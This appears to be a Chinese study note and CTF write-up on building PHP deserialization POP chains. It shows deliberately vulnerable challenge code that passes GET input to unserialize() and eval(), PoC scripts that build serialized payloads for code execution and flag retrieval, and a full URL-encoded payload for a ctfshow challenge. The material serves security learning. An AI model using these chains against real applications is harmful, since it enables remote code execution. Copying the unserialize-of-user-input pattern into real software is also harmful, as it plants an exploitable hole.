pop链

pop链,通过反序列化控制class属性,来构造一条完整的利用链。

easy

<?php
//error_reporting(0);
highlight_file(__FILE__);
class errorr0{
    protected $var;
    function __construct() {
        $this->var = new errorr1();
    }
    function __destruct() {
        $this->var->func();
    }
}
class errorr1 {
    public $var;
    function func() {
        echo $this->var;
    }
}
class errorr2 {
    private $data;
    public function func() {
        eval($this->data);
    }
}
 
unserialize($_GET['err']);
?>

反向构造pop链,errorr2::func()->errorr0::__destruct()->errorr0::__construct

poc

<?php
//error_reporting(0);
highlight_file(__FILE__);
class errorr0{
    protected $var;
    function __construct() {
        $this->var = new errorr1();
    }
    function __destruct() {
        $this->var->func();
    }
}
class errorr1 {
    public $var;
    function func() {
        echo $this->var;
    }
}
class errorr2 {
    private $data;
    public function func() {
        eval($this->data);
    }
}

$a = new errorr0;
$a->var=new errorr2;
$a->var->data='phpinfo();';
echo serialize($a);	//O:7:"errorr0":1:{s:3:"var";O:7:"errorr2":1:{s:4:"data";s:10:"phpinfo();";}}
//`errorr2::func()`->`errorr0::__destruct()`->`errorr0::__construct`
?>

但是这样会报错。

因为class里面的属性不是public。我们更改一下class的属性

成功rce。但是我们如何在不修改class的属性下进行更改呢?这个时候就需要利用构造函数以及在内部修改。

<?php
//error_reporting(0);
highlight_file(__FILE__);
class errorr0{
    protected $var;
    function __construct() {
        $this->var = new errorr2();	//errorr1->errorr2
    }
    function __destruct() {
        $this->var->func();
    }
}
class errorr1 {
    public $var;
    function func() {
        echo $this->var;
    }
}
class errorr2 {
    private $data = 'phpinfo();';	//$data->'phpinfo();'
    public function func() {
        eval($this->data);
    }
}

$a = new errorr0;
// $a->var=new errorr2;
// $a->var->data='phpinfo();';
echo serialize($a);	//O:7:"errorr0":1:{s:6:"*var";O:7:"errorr2":1:{s:13:"errorr2data";s:10:"phpinfo();";}}
echo "</p>";
print_r($a);	//errorr0 Object ( [var:protected] => errorr2 Object ( [data:errorr2:private] => phpinfo(); ) )
echo "</p>";	//可以看见$a class的属性也打印出来了
echo urlencode(serialize($a));	//由于有private和protected属性,所以存在不可见字符(%00)需要url编码。
//`errorr2::func()`->`errorr0::__destruct()`->`errorr0::__construct`
?>

对比一下poc的差异

print_r
1.	errorr0 Object ( [var] => errorr2 Object ( [data] => phpinfo(); ) )
2.	errorr0 Object ( [var:protected] => errorr2 Object ( [data:errorr2:private] => phpinfo(); ) )
反序列化
1.	O:7:"errorr0":1:{s:3:"var";O:7:"errorr2":1:{s:4:"data";s:10:"phpinfo();";}}
2.	O:7:"errorr0":1:{s:6:"*var";O:7:"errorr2":1:{s:13:"errorr2data";s:10:"phpinfo();";}}

test

<?php
 
//error_reporting(0);
highlight_file(__FILE__);
 
class w44m{
 
    private $admin = 'aaa';
    protected $passwd = '123456';
 
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}
 
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
 
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
 
$w00m = $_GET['w00m'];
unserialize($w00m);
 
?>

反向构造pop链,w44m::Getflag()->w33m::__toString()->w22m::__destruct()

poc

<?php
 
//error_reporting(0);
highlight_file(__FILE__);
 
class w44m{
 
    private $admin = 'w44m';	//手动改一下
    protected $passwd = '08067';	//手动改一下
 
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}
 
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
 
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        echo "w33m __toString". "</p>";
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$a = new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';

echo "</p>";
print_r($a);	//w22m Object ( [w00m] => w33m Object ( [w00m] => w44m Object ( [admin:w44m:private] => w44m [passwd:protected] => 08067 ) [w22m] => Getflag ) )
echo "</p>";
echo serialize($a);
echo "</p>";
echo urlencode(serialize($a));
//`w44m::Getflag()`->`w33m::__toString()`->`w22m::__destruct()`
 
?>

ctf

先学习一些tips。

tips

__get()

<?php
highlight_file(__FILE__);
class A {
    private $test;
    function __get($a){
        echo $a;	//test2
    }
}

$a = new A;
$a->test2;

?>

当访问一个不存在的变量时,变量名会传递给__get()

__call()

<?php
highlight_file(__FILE__);
class A {
    private $test;
    function __get($a){
        echo $a;
    }
    function __call($b,$c){
        echo $b;	//test3
        print_r($c);	//Array ( [0] => test4 )
    }
}

$a = new A;
$a->test2;
$a->test3(test4);

?>

当访问一个不存在的函数时,函数名和实参会被传递给__call()

call_user_func()

<?php
highlight_file(__FILE__);
function hello($a) {
    echo "hello ". $a;
}

call_user_func(hello,dayu);

class A {
    function hello1($a) {
        echo "hello ". $a;
    }
}

call_user_func([A, hello1], dayu1)
?>

call_user_func(函数, 参数)

call_user_func([类, 方法], 参数)

array_walk()

<?php
highlight_file(__FILE__);
echo "</p>";
function myfunction($value,$key,$p)
{
echo "$key $p $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction","has the value");	//array_walk(array,myfunction,parameter...)
?>

array_walk(数组, 函数, 另外一个参数)

gc

tmp

code

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
highlight_file(__FILE__);
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        echo "<p>one::MeMeMe()<p>";
        array_walk($this, function($fn, $prev){
            echo "<p>one::MeMeMe()::array_walk()<p>";
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        echo "<p>one::__destruct()<p>";
        @$this->object->add();
    }

    public function __toString() {
        echo "<p>one::__toString()<p>";
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        echo "<p>second::addMe()<p>";
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        echo "<p>second::__call()<p>";
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        echo "<p>third::__construct()<p>";
        $this->string = $string;
    }

    public function __get($name) {
        echo "<p>third::__get()<p>";
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    //throw new Exception("高一新生报道");	先注释掉,方便调试。
} else {
    echo "<p>please get ctfshow<p>";
}

pop链

现在来反向构造pop利用链,one::MeMeMe()->third::__get()->…

正向构造一下试试,one::__destruct()->second::__call()->second::addMe()->one::__toString()->…

结合一下,整个正向pop链为:one::__destruct()->second::__call()->second::addMe()->one::__toString()->third::__get()->one::MeMeMe()

首先通过one::__destruct()调用一个不存在的add()去触发second::__call()然后通过call_user_func()回调自身的second::addMe()这里return了一个String类型,所以可以去触发one::__toString()然后返回了一个不存在的string变量去触发third::__get(),最后在调用one::MeMeMe()拿到flag。

擦,昨天弄2小时,今天弄了快3小时,现在闭着眼都能写出来了。

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
highlight_file(__FILE__);
include("./HappyYear.php");

class one {
    public $object;
    public $year_parm = array("Happy_func");	//构造一个数组

    public function MeMeMe() {
        echo "<p>one::MeMeMe()<p>";
        array_walk($this, function($fn, $prev){	//当array_walk传入类的时候会将类里面的变量名和变量名当成数组。
            echo "<p>one::MeMeMe()::array_walk()<p>";
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {	//$year_parm = array("Happy_func")
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        echo "<p>one::__destruct()<p>";
        @$this->object->add();
    }

    public function __toString() {
        echo "<p>one::__toString()<p>";
        return $this->object->string;
    }
}

class second {
    protected $filename;

    public function __construct() {
        $this->filename = new one;
        $this->filename->object = new third(["string"=>[new one(),"MeMeMe"]]);
    }	//手动构造`__construct`用来触发下面的`second::addMe()`->`one::__toString()`,同时给`third::__construct`传入实参。

    protected function addMe() {
        echo "<p>second::addMe()<p>";
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        echo "<p>second::__call()<p>";
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        echo "<p>third::__construct()<p>";
        $this->string = $string;	//string = ["string"=>[new one(),"MeMeMe"]]
    }

    public function __get($name) {
        echo "<p>third::__get()<p>";
        $var = $this->$name;
        $var[$name]();	//["string"=>[new one(),"MeMeMe"]][string]()这里会触发`third::__get()`->`one::MeMeMe()`
    }
}

$a = new one;
$b = new second;
$a->object = $b;
//`one::__destruct()`->`second::__call()`->`second::addMe()`


//`one::__destruct()`->`second::__call()`->`second::addMe()`->`one::__toString()`->`third::__get()`->`one::MeMeMe()`
echo "<p>". serialize($a). "<p>";
echo "<p>". urlencode(serialize($a)). "<p>";
O:3:"one":2:{s:6:"object";O:6:"second":1:{s:11:"*filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}

O%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D

demo

<?php
highlight_file(__FILE__);
class one {
    public $key = 'value';
    public $year_parm = array(0=>"Happy_func");

    function MeMeMe(){
        echo "yes<p>";
    }
    function test(){
        echo "one::test<p>";
        array_walk($this, function($fn, $prev){
            echo "one::test::array_walk<p>";
            print_r($fn);
            echo "<p>";
            print_r($prev);
            echo "<p>";
        });
    }
}
["string"=>[new one(),"MeMeMe"]][string]();
$a = new one();
$a->test(); 

还有个垃圾回收GC机制来绕过异常处理的,明天来写吧,今天累了。